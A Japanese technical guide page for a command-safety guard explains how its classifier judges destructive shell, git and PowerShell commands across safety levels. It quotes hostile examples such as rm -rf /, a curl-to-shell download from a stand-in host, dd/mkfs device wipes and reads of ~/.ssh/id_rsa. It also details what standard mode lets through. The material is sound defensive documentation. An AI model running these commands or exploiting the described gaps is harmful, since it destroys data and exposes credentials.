Skip to main content
これは技術ガイドの 4 ページ目です。アーキテクチャで説明したガードパイプラインを前提に、破壊的コマンド分類器の判定方法とエッジケースに絞って説明します。explain の出力を読む場合や、意図どおりに動くカスタムルールを書く場合に必要な情報です。 分類器はガードの最後の段階です。その前に、上限付きのツール入力抽出、パーサー予算、ポリシーファイルと Git メタデータの保護、ポリシースナップショットの読み込み、機密パス保護がすでに完了しています。これらは順序付きガードステージで規定されています。上限付き解析と常時有効なポリシーファイルおよび Git メタデータのガードは、すべての安全レベルで fail closed になります。無効なポリシースナップショットには保護的なフォールバックを適用し、機密パス保護は解決済みポリシーに従います。破壊的コマンド分類器は、前段ですでに行われた判定を緩和できません。 ディスパッチフロー(セグメントへ分割し、環境変数の代入とラッパーを除去し、先頭コマンドを特定して、対応するアナライザーへ渡す)は、アーキテクチャに図示しています。このページでは、その続きとして、各アナライザーが受け取ったセグメントを処理する方法と、安全レベルによって境界が変わる位置を説明します。

安全レベルの境界

3 つの安全レベルは、3 つの機能を組み合わせた preset です。レベルごとの境界を知ると、どの操作がブロックされるかを判断できます。 3 つの preset のいずれにも一致しない機能の組み合わせは、有効レベル custom として報告されます。

Standard

standard は、認識できる破壊的コマンドをブロックします。ただし意図的に、敵対的な入力に耐える水準にはしていません。動的な入力や敵対的な入力に対しては、あくまでベストエフォートです。
  • 安全に見える解析不能なテキストは許可します。 echo 'unterminated は許可されます。
  • 認識できる破壊的テキストは、解析不能でもブロックします。 git reset --hard 'unterminated は raw-text heuristic scan によってブロックされます。このスキャンは rm -rfgit reset --hard/--mergegit clean -fgit checkout --forcegit push --force/--deletegit branch -Dgit tag -dgit stash drop/cleargit checkout --git restorefind -deletedd of=/dev/mkfs /dev/shred <arg>、シェルへパイプしたダウンロード(curl … | sh)を認識します。
  • 引用符付きのリテラル代入に含まれる危険なテキストは、実際に使われるまで判定を先送りします。 W='rm -rf ~'; echo "$W" は許可されます。代入自体は何も実行せず、引数位置での引用符付きの展開は 1 つの argv の語のままなので、コマンドとフラグに分割されないためです。一方、引用符なしの参照、コマンド位置での参照、コマンド置換内の参照、引用符なしの heredoc 本文内の参照など、より危険な使い方では代入の時点でのブロックを維持します。値をシェルに渡す操作(eval "$W"bash -c "$W"echo "$W" | sh)も、シェルの実行元を検証できないため拒否します。strict では、この先送りは行いません。standard のみの許可を参照してください。
  • 動的な rm -rf の対象は、一律にはブロックしません。 rm -rf "$target" は standard では許可し、fail closed 機能が有効な場合だけブロックします。
  • standard はこのほかにも、動的な実行ファイル、コマンド置換で組み立てられた保護対象のコマンド構造、検証できないその他の再帰削除対象、組み込みの機密パスに対するメタデータのみの単独チェックを、意図的に許可します。
  • 検証できるローカルの生成コマンドに対する evalsource は許可します。 eval "$(ssh-agent -s)"source <(kubectl completion bash) は、置換の本体が完全にリテラルな単純コマンド 1 つで、リモート取得コマンドでもシェルでもコマンドラッパーでもない場合、standard では通ります。本体は引き続き解析しますが、それが出力するシェルは解析しません。strict と paranoid は、動的なシェルの実行元をすべて拒否します。standard のみの許可を参照してください。
  • 一方 standard でも、機密情報の内容へのアクセス設定済みの deny path、致命的な操作に対する保護は緩和されません。

Strict

strict モードは fail closed の機能を有効にします。厳しくなるのは、解析できない場合の扱いだけではありません。
  • 解析できないコマンドをブロックします。 echo 'unterminated は、安全に解析できなかったという理由で拒否されます。
  • メタデータのみで機密パスを探る操作をブロックします。 test -f ~/.ssh/id_rsafind ~/.ssh -type f は standard では許可され、strict ではブロックされます。
  • Node や Bun のインライン評価に含まれる機密パスのリテラルを、実行されない診断用データとして扱う standard 限定の緩和を無効にします。
  • heredoc が fail closed になります。 heredoc を含むコマンドは、他のアナライザーがそのセグメントを処理する前に、heredoc の解析で説明する狭い条件を満たさないかぎり拒否されます。条件とは、標準入力に接続された展開されない heredoc が 1 つだけで、他に入力リダイレクトがなく、読み取り側がリテラルで書かれた 6 つの候補のいずれかであることです。デリミタに引用符がなく、シェルが本文を展開する場合は「Unquoted heredoc input is not supported safely. Quote the delimiter or ask the user to verify.」で拒否され、条件を満たさないそれ以外の場合は「This heredoc form or stdin consumer is not supported safely. Use a quoted heredoc with a supported consumer (cat, tee, git apply, git commit, gh pr create, gh issue create), or ask the user to verify.」で拒否されます。そのため python3 - <<'PY' と、本文に $HOME を含む cat <<EOF はここで拒否され、本文がプレーンテキストだけの cat <<EOF は通過します。
  • 検証できない破壊的対象をブロックします。 次の 5 つのルールは fail closed 機能によって切り替わるため、standard では許可され、strict ではブロックされます。
strict 相当の各ルールは個別に無効化できます。ただし、破壊的コマンドのルール ID を持たない fail closed の結果(パーサーによる fail closed と機密パスに関する判定)には、strict の動作がそのまま適用されます

Paranoid

paranoid モードは、strict に 2 つの機能を追加します。
  • paranoid の rmは、カレントディレクトリの内側であっても、一時ディレクトリ以外を対象とする再帰的な強制削除をブロックします。rm -rf ./cacheRemove-Item ./cache -Recurse -Force もブロックされます。一時ディレクトリと設定済みの allow path は引き続き許可されます。
  • paranoid interpretersは、内容にかかわらず、python -c "print(1)" を含むすべてのインタープリター 1 行コードをブロックします。

ルール単位の override とレベルの関係

致命的な操作以外のルールには、まずマスタースイッチ destructive_command_protection、次に解決済みの preset の機能、最後にルール単位の "on" / "off" の override を適用します。strict 相当や paranoid 相当のルールも、"on" の override を使えば standard で強制的に有効にできます。 致命的な操作に対するルールは、マスタースイッチも "off" の override も無視します。 対象は rm.recursive-force-root-or-homerm.git-metadatapowershell.remove-item-root-or-homepowershell.remove-item-recursive-force-root-or-homepowershell.remove-item-git-metadatafind.delete-git-metadata です。これらは、常時有効なポリシーファイルのガードと同じ扱いになります。

シェルラッパーとインタープリターの 1 行コード

ラッパーとインタープリターへの再帰は最大 10 階層です。1 つでもブロック対象のセグメントがあれば、コマンド全体を拒否します。 セグメントから環境変数の代入とラッパーを取り除いた後、コマンド名を次の 2 つの集合と照合します。
  • シェルラッパーbashshzshkshdashfishcshtcsh-c の後ろの引数を取り出し、再帰的に解析します。
  • インタープリターpythonpython2python3noderubyperl。コードの引数(-c の後ろ、node・ruby・perl では -e の後ろ)を取り出し、埋め込まれた破壊的操作をスキャンします。
既定では、インタープリターのコードに埋め込まれた破壊的コマンドを探します。python -c 'import os; os.system("rm -rf /")' は、埋め込まれた rm -rf / が理由でブロックされます。1 行コードという形式そのものはブロックの理由になりません。paranoid interpreters モードでは、内容にかかわらずすべての 1 行コードをブロックします。 busybox の呼び出しは特別扱いし、サブコマンドをコマンドの位置に移して解析し直します。awkgawkmawk のプログラムについては、system() の呼び出しとバッククォートによるコマンド置換をスキャンします。

transparent wrapper

標準的なラッパー(sudoenvcommandbuiltin)は常に取り除きます。transparent wrapper として宣言したプロキシコマンドも同様です。宣言の方法と制約はカスタムルールを参照してください。ここでは、エンジンがラッパーをどう透過するかを説明します。 透過するときは、ラッパーのフラグと環境変数の代入より後にある最初の保護対象になりうる子コマンド、または明示的な -- の直後のトークンを探します。透過した後は、組み込みの解析とカスタムルールの両方をその子コマンドに適用します。rtk git reset --hard は組み込みのルールでブロックされ、rtk docker system prune は該当するカスタムルールに一致します。保護対象になりうる子コマンドがない場合は、透過しません。 宣言されていないプロキシや、見える形で子コマンドを実行せずに書き換えたり隠したりするプロキシは、透過できません。これらを拾える可能性があるのは、最上位で行う危険な文字列のフォールバックスキャンだけです。 同じコマンド内では、セグメントをまたいでカレントディレクトリを追跡します。リテラルの対象を持つ cdpushd は、以降の rmfind の解析に使うカレントディレクトリを更新します。$ やバッククォートを含む動的な対象への cd は、カレントディレクトリを不明にします。この場合、rm の解析ではカレントディレクトリを基準にできないものとして扱います。
既知の制限:インタープリターの長形式フラグ--eval--execute--require、および =value を付けた形式)は、すべての処理経路で認識されるわけではありません。そのため、コードの引数を取り出せない場合があります。既知の制限を参照してください。

POSIX シェル関数

関数定義は、実行されるコードではなく定義として解析します。認識する記法は name() { ... }、bash のキーワード形式 function name { ... }、両者を組み合わせた function name() { ... } の 3 つです。開き波括弧は、名前と同じ行に独立した語として置く必要があります。そのため function cleanup{ echo ok; } は定義になりません。CC Safety Net は、呼び出し元の時点で有効な作業ディレクトリとシェルの状態を使って、呼び出し位置ごとに関数の本体を解析します。 cleanup() { rm -rf ../outside; } は関数を定義するだけなので許可されます。cleanup() { rm -rf ../outside; }; cleanup のように呼び出しを追加すると、関数本体のコマンドによってブロックされます。呼び出した本体内の state change は、後続処理へ引き継ぎます。例えば cleanup() { cd ..; }; cleanup && rm -rf build は、rm の基準が 1 つ上のディレクトリになるためブロックされます。 呼び出しの解決は、シェル自身のルールに従います。
  • 呼び出しは、先頭の環境変数の代入(X=1 cleanup)、time keyword とその -p option および -- terminator、! による否定を解決します。組み合わせた time -p -- ! cleanup も対象です。名前を quote または escape した形式('cleanup'"cleanup"\cleanup)は alias expansion を抑制しますが、function lookup は抑制しないため、関数を呼び出します。
  • 実際のシェルでは実行されない形式、つまり X=1 time cleanuptime "--" cleanup、空白のない !cleanup は、呼び出しとして扱いません。キーワードの形として解決されないためです。
  • 呼び出しより前にある最新の定義を優先します。これはシェル自体の再定義の挙動と一致します。
  • サブシェル(( ... ))内の定義は外に漏れません。brace group({ ...; })は同じシェル内で実行されるため、その定義は外でも有効です。
  • 定義は、同じシェルで動く evaltrap からも参照できます。cleanup() { rm -rf ../outside; }; eval cleanup はブロックされます。一方、子シェルには引き継がれないため、sh -c cleanup では関数が解決されません。
関数の本体では、位置パラメーターを束縛しません。f() { rm -rf "$1"; }; f ~ は動的な対象として扱い、standard では許可、fail closed の機能が有効な場合はブロックします。これは rm -rf "$X" と同じ扱いです。引用符付きの代入に対する判定の先送りは、呼び出された関数の本体内にも適用されます。W='rm -rf ~'; f() { $W; }; f は、引用符なしのコマンド位置で値を使うため、代入の時点でのブロックを維持します。f() { echo "$W"; }; f は、引用符付きの引数データとして許可します。 解析より前のガードステージも、関数の呼び出しを確認します。ポリシーファイルの保護と機密パスの抽出は、各呼び出し位置で実行される brace group と関数本体を評価します。 standard を含むすべてのレベルで、2 つの構造上の境界が fail closed になります。1 つは自己再帰(loop() { loop; }; loop)で、再帰の深さの上限によって拒否されます。もう 1 つは分岐する呼び出しの連鎖で、派生コマンドの処理量の上限か、呼び出し位置の展開 256 個という上限によって拒否されます。関数本体に付く heredoc は安全に扱えません。コマンドが解析不能になるため、standard ではヒューリスティックなスキャンの対象になり、strict ではすべて拒否されます。

heredoc の解析

heredoc の本文は、標準入力に渡されるテキストです。そのテキストをデータとして扱うかプログラムとして扱うかは、読み取り側のコマンドが決めます。そこでエンジンは、他のアナライザーがセグメントを処理する前に、狭く定義した対応条件を確認します。次の条件をすべて満たす場合だけ通過します。
  • コマンドに含まれる heredoc(<< または <<-)が、標準入力(fd 0)に接続されたもの 1 つだけであること。
  • 展開されない heredoc であること。デリミタが引用符で囲まれている(<<'EOF')か、引用符がなくても本文に $、バッククォート、バックスラッシュが含まれないことを指します。どちらの場合もシェルは展開もエスケープ処理も行わないため、本文はバイト単位でそのまま読み取り側に渡ります。
  • 標準入力と競合する他の入力リダイレクト(<<<<<-<<<<&<>)がないこと。
  • 読み取り側が、リテラルで書かれた catteegit applygit commitgh pr creategh issue create のいずれかであること。パスを前置した形や、env のようなラッパーを介した形は認められません。出力側のプロセス置換(>(...))がある場合は本文が別のコマンドに渡るため、cattee であっても拒否します。
条件を満たしたコマンドでは、どのレベルでも本文を実行されないデータとして扱います。たとえば cat > note.md <<'EOF'git commit -F - <<'EOF'、本文がプレーンテキストだけの cat <<EOF は、本文に破壊的なコマンドが書かれていても許可されます。 catteegit commitgh pr creategh issue create では、デリミタが引用符で囲まれた本文を、機密パスの抽出前にマスクします。これにより、「credentials」という単語を含むコミットメッセージがファイル名として扱われることを防ぎます。マスクには引用符が必要です。引用符のない本文も、展開される要素がなければ条件を通過しますが、マスクの対象にはならないため、その中にファイル名らしいトークンがあれば抽出されます。git apply の本文は patch が書き込むファイル名を含むため、マスクしません。なお、heredoc の外にあるコマンドは引き続き解析します。たとえば cat <<'EOF' && rm -rf ~ は、rm によってブロックされます。 条件を満たさないコマンドは、strict と paranoid ではすべて拒否します。standard では、次の 3 つの経路のいずれかで本文を解析します。
  1. 構文チェックだけを行うシェル(bash -n など)の標準入力に渡される展開されない heredoc は、実行されないデータとして許可します。
  2. インタープリター(pythonpython2python3noderubyperl)の標準入力に渡される展開されない heredoc。ただし、コマンドライン上の他のすべての語が - で始まるリテラルで、インタープリターが標準入力からプログラムを読む場合にかぎります。python3 - <<'PY' は条件を満たしますが、python3 tool.py <<'PY' は満たしません。後者では標準入力がスクリプトへのデータになるためです。本文はインタープリターのルールで解析します。paranoid interpretersでは interpreter.one-liner-paranoid としてすべてブロックし、そうでない場合は本文に危険なコードがあれば interpreter.dangerous-command としてブロック、安全であれば許可します。
  3. それ以外の形式はすべて、連結した本文に対する危険な文字列のヒューリスティックなスキャンに回します。不明な読み取り側、bash に渡す heredoc スクリプト、スクリプトを引数に取るインタープリター呼び出し、デリミタに引用符がなく本文に $、バッククォート、バックスラッシュのいずれかを含む heredoc などが該当します。一致した場合は raw-text.dangerous-command としてブロックし、一致しなければ許可します。
デリミタに引用符がない場合、本文は展開の対象になるため、その中のコマンド置換は実際に実行されるコードです。パーサーは $(...) とバッククォートのどちらも収集し、heredoc の読み取り側が何であっても、それぞれを独立したコマンドとして解析します。本文に $(curl https://example.com/i.sh | sh) の行があれば、bash <<EOF でも cat <<EOF でもブロックします。cat <<EOF の中の $(find . -delete) も、heredoc の外で実行した場合と同じ find のルールでブロックします。テキストパターンによる判定ではありません。本文の残りは実行されないデータのままです。バックスラッシュでエスケープした \$(...) はデータです。heredoc の本文でプロセス置換(<(...)>(...))が展開されることもありません。デリミタに引用符を付ければ、本文全体がデータになります。コマンド置換以外の行は通常のテキストのままで、上記のスキャンが判定します。 3 つの経路には共通の構造上の境界があります。heredoc の本文はシェルのテキストとして解析し直すため、本文の中でさらに別の heredoc を宣言できます。この解析し直しをまたいだネストは、パーサーの最大深度 64 に制限されます。これを超えた場合は解析状態として structural-limit を報告し、standard を含むすべての安全レベルでコマンドを拒否します。 実行されないデータとして条件を通過した場合でも、本文をファイルに保存するときは追加の処理があります。条件を満たした heredoc を、追記ではなくリテラルのパスにそのまま書き込む場合(cat > setup.sh <<'EOF'、本文がプレーンテキストだけの cat > setup.sh <<EOFtee setup.sh <<'EOF')、エンジンはそのパスと本文を記憶します。同じコマンド内で後から bash setup.shsh setup.shsource setup.sh を実行したり、シェル起動時の設定(BASH_ENVENV--rcfile--init-file)から参照したりすると、記憶しておいたスクリプトのテキストを解析します。トレースには、理由 heredoc-filerecurse ステップとして表示されます。そのため、本文が破壊的であれば cat > x.sh <<'EOF' … EOF && bash x.sh はブロックされます。追跡の範囲は意図的に限定しています。記憶するのは 1 回の解析につき最大 64 ファイルまでで(MAX_TRACKED_HEREDOC_FILES。超えた場合は派生コマンドの処理量の上限によって fail closed になります)、/dev/proc/sys 配下のパスは追跡しません。追跡中のパスにその後書き込みやリダイレクトがあった場合、記憶した本文は無効になります。

Git ルールエンジン

git のアナライザーは、サブコマンドとオプションを取り出して危険なオプションのパターンと照合し、理由と分類localDiscard または sharedState)を返します。この分類によって、worktree での緩和の可否が決まります。 オプションの照合は、git の実際の文法に従います。長形式のオプションは前方一致で解釈するため、--forc--force--force-with-lease を正しく解決します。短形式のオプションはまとめ書きを展開するため、-Df-D-f として読み取ります。値を取るグローバルオプション(-c-C--git-dir--work-tree--namespace--super-prefix--config-env)は、サブコマンドを探す際に読み飛ばします。ブロック対象となる git のパターンの全一覧は、ブロックされるコマンドを参照してください。
Git は、ネットワーク操作の際に任意のプログラムを実行するために GIT_SSH_COMMANDGIT_SSHGIT_SSH_VARIANT を受け付けます。CC Safety Net は、これらの上書きをネットワーク系のサブコマンド(clonefetchpullpushls-remotesubmodule)と組み合わせた場合にブロックします。ネットワーク操作に紛れて任意のコマンドを実行できてしまうためです。
checkout は次の順に確認します。
  1. 強制指定(--force-f
  2. 新規ブランチ作成による除外(-b-B--orphan はブロックしません)
  3. --pathspec-from-file
  4. -- を伴う pathspec(git checkout -- は未コミットの変更を破棄し、git checkout <ref> -- <path> は作業ツリーをその ref の内容で上書きします)
  5. 位置引数が複数あって判別しにくい形式(位置引数が 2 個以上ある場合は switchrestore の使用を提案します)
reset --hard--merge は、-- より前に ref がある場合(ブランチのポインターを動かすため)は sharedState、それ以外の場合(作業ツリーの変更だけを破棄するため)は localDiscard に分類します。

再帰的削除対象の分類

rm の解析では、再帰フラグと強制フラグの組み合わせを検出し、対象を取り出して、カレントディレクトリを基準に分類します。次の順に確認し、最初に一致した分類を採用します。この順序そのものに意味があります。 この順序から、はっきり述べておくべき結果が 2 つあります。
  • ステップ 4 がステップ 7 より前にあるため、リポジトリを含む allow path を設定しても、Git メタデータの保護は緩和されません
  • ステップ 6 がステップ 7 より前にあるため、allow path は動的な対象や検証できない対象には適用されません
allow path は、絶対パスか ~/ で始まるディレクトリである必要があります。すべての安全レベルで、rmRemove-Itemfind -delete に適用されます。シークレット保護、deny path、root、ホームディレクトリ、保護対象の Git メタデータが緩和されることはありません。$HOME そのものや $HOME を内側に含む上位パスは、検証時と正規化後の両方で拒否します。シンボリックリンクによる境界の抜け道も対象外です。 この分類は、再帰フラグ(-r-R--recursive)と強制フラグ(-f--force)の両方がある場合に実行します。パスの比較には正規化(realpath)した結果を使います。そのため、/ を指すシンボリックリンクは危険として正しく分類され、/tmp-malicious/tmp の一時ディレクトリのルールに一致することもありません。 Windows では、Git Bash などの MSYS シェルが /c/Users/... 形式のパスを渡します。Windows のパス API はこれをカレントドライブ配下のパスとして解釈します。そこで比較の前に、先頭の /<drive-letter> の後ろに / か文字列の終端が続く場合、その部分を <drive-letter>:/ へ書き換えます。/c/Users/youc:/Users/you として比較されます。書き換わるのは先頭のこの部分だけです。Windows 以外のプラットフォームには影響せず、通常の POSIX パス、UNC パス、Windows 本来のドライブレター表記もそのままです。この書き換えは、rm の対象分類、ポリシーファイルと Git メタデータの保護、機密パス保護のいずれよりも前に実行します。環境の取り込み時には HOMECC_SAFETY_NET_HOME も書き換えるため、これらのルートとコマンドの引数を同じ表記で比較できます。一時ディレクトリのルートとの比較も、Windows では大文字小文字を区別しません。小文字の MSYS パスが Windows 本来の一時ディレクトリ配下にあれば、カレントディレクトリ外ではなく一時ディレクトリの対象として分類されます。
日常的な利用で効いてくる違いがあります。rm -rf ./subdir(カレントディレクトリの中)は許可されますが、rm -rf .(カレントディレクトリそのもの)はブロックされます。許可されるコマンドを参照してください。

PowerShell Remove-Item

Remove-Item とその別名は、rm と同じ対象分類を使います。解析には、PowerShell 固有のクオート、パス区切り、接続演算子、パイプライン、動的な語の出どころを保持する、限定的な PowerShell のサブセットを使います。
  • -WhatIf-WhatIf:$true、および省略形の -wi を指定すると、本来ブロックされる削除が対象外になります。明示的に -WhatIf:$false を指定した場合は、再びブロックされます。
  • 動的な形式は strict でのみブロックされます。Remove-Item $target -Recurse -ForceGet-ChildItem … | Remove-Item -Force のパイプライン、値のない -Path、スプラッティング(Remove-Item @params -Recurse -Force)は、いずれも standard では許可され、strict でブロックされます。例外は Remove-Item $HOME -Recurse -Force で、これは動的な対象ではなく root/ホームの対象として分類されるため、standard でもブロックされます。
  • 別名と省略されたパラメーターも解決するため、ri . -r -fo はブロックされます。呼び出し演算子を使った形式(& Remove-Item …& { … }. { … })も解析対象で、リテラル文字列を渡す Invoke-Expression$(…) の部分式も解析します。
  • # の行コメントと <# … #> のブロックコメント(入れ子を含む)は無視しますが、その後ろにある実際のコマンドはブロックします。形式が不正なブロックコメントや部分式、深さの上限を超えたものは fail closed になります。
  • PowerShell のワイルドカードは、POSIX の * glob とは違ってドットで始まるエントリにも一致します。そのため、Remove-Item .git -Recurse -Force も、リポジトリルートでの PowerShell のワイルドカードも Git メタデータの保護に該当しますが、POSIX の ./*.git を含みません。
  • どのシェルとして解析するかも重要です。posix の方言では意図的に PowerShell の削除ルールを適用しませんが、auto であれば明示的な Remove-Item に加えて Get-ContentSet-ContentAdd-ContentCopy-ItemMove-Item を検出し、gccp のような別名も引数が PowerShell のパス式で書かれていれば検出します(gc $HOME\.ssh\id_rsa)。どちらの場合も、git.reset-hard のようなシェル共通のルールは引き続き有効です。

デバイスとディスクの破壊

この 3 つの形式は、解析できないテキストに対するヒューリスティックなスキャンにも含まれます。そのため、echo rg で始まる場合を除き、解析できないテキストの中にある dd of=/dev/…mkfs /dev/…shred <arg>raw-text.dangerous-command としてブロックされます。いずれも致命的な操作のルールではないため、マスタースイッチとルール単位の override の優先順位に従います。

findxargsparallel の動的対象解析

xargsparallel では、対象が動的な入力(パイプされた標準入力やプレースホルダーの展開)から来るため、カレントディレクトリを基準に検証できません。parallel の SSH リモートモード(-S--sshlogin)も、worktree での緩和を無効にします。

Worktree の緩和

worktree モードが有効な場合、検証済みの linked worktree 内では、ローカルの変更を破棄する git コマンドを許可します。緩和されるには、次の条件をすべて満たす必要があります。
  1. 一致したルールが localDiscard に分類されていること(Git ルールエンジンの表を参照)。sharedState のルールは緩和されません。
  2. worktree モードが有効であること。policy.jsonworkflow.worktree_modeCC_SAFETY_NET_WORKTREE=1 を論理 OR で組み合わせて判断します。
  3. git のコンテキストを上書きする環境変数(GIT_DIRGIT_WORK_TREEGIT_COMMON_DIRGIT_INDEX_FILE)がなく、コマンドラインにも --git-dir--work-tree がないこと。
linked worktree かどうかは推測せず、明示的に検証します。確認するのは次の 4 点です。
  • .git エントリがファイルであること(ディレクトリでもシンボリックリンクでもないこと)
  • gitdir: のポインターが commondir ファイルを持つディレクトリに解決されること
  • その逆参照がこの worktree を指していること
  • config.worktree が一致すること
メインの worktree、bare リポジトリ、submodule は緩和の対象外です。検証に失敗した場合は、理由にかかわらずコマンドをブロックしたままにします(fail closed)。
検証済みの linked worktree 内でも、次の操作は緩和されません。$*?[ を含む動的な引数。ブランチの強制リセット(git checkout -B-Bf、または -f--discard-changes を伴う git switch -C-Cf)。-f を複数指定した git clean(使い捨ての worktree の境界を越え、入れ子の git リポジトリを削除するために必要な指定)。--recurse-submodules オプション、または submodule を再帰的に扱う設定。
先頭のグローバルオプションを順に処理して、実際の git の作業ディレクトリを解決します。-C <path> と、続けて書いた -C<path> は、ディレクトリの変更として適用します。--git-dir--work-tree(値を分けて書く形式と = でつなぐ形式のどちらも)は、git のコンテキストを明示的に指定したものとみなし、緩和をすべて無効にします。

カスタムルール

対応する組み込みのアナライザーがない場合は、フォールバックとしてカスタムルールを実行します。カスタムルールは厳密に「追加のみ」です。ブロックは追加できますが、組み込みのブロックを上書きしたり保護を緩めたりはできません。ルールは <rulebook-name>/<rule-name> という名前空間を持ち、まずコマンドのベース名で照合します。その先の照合の形式は、ルールが属する rulebook のバージョンによって決まります。バージョン 1 のルールは、任意のサブコマンドとリテラルの block_args で照合します。短形式のオプションはまとめ書きを展開するため、-Ap-A に一致します。rulebook_version: 2 のルールは、代わりに match オブジェクトで照合します。match.command_path のコマンドワードは、オプションを除いた先頭の引数と順序どおりに一致する必要があります。match.any_args は、そのトークンのうち少なくとも 1 つが引数に現れることを求め、match.exclude_args は、そのトークンのいずれかが現れた時点で一致を取り消します。バージョン 2 はトークンを厳密に比較し、短形式のオプションのまとめ書きは展開しません。バージョン 2 の照合を参照してください。 書き方の詳細と照合の仕様は、カスタムルールを参照してください。

分類を検査する

エンジンが特定のコマンドをどのように評価したかを正確に確認するには、explain を実行します。
人が読む形式の出力は、各セグメント、解析のステップ、ルールの評価を順に示します。JSON 出力は構造化されたトレースを返します。そのスキーマは explain トレースを参照してください。 判定がおかしい原因がコマンド側ではなく設定側にあると思われる場合は、ランタイムがフォールバックのポリシーで動いていないか確認してください。npx cc-safety-net statusreadydegraded かを表示します。該当する設定元の修復方法は、設定の復旧を参照してください。

次に読むページ

技術ガイドは、ユーザー向けのライフサイクルの説明から設計の理由へと順に降りていく構成です。このページはその 4 番目にあたります。
  • 戻る:アーキテクチャには、この分類処理が最後を担う順序付きのガードステージがあります。
  • 次へ:設計原則では、分類をパターン照合ではなく意味に基づいて行う理由と、レベルの境界を現在の位置に置いた理由を説明します。
関連ページ:レベルの選び方はモード、判定結果の一覧はブロックされるコマンド許可されるコマンド、分類処理が認識しない範囲は既知の制限を参照してください。
最終更新日 2026年9月3日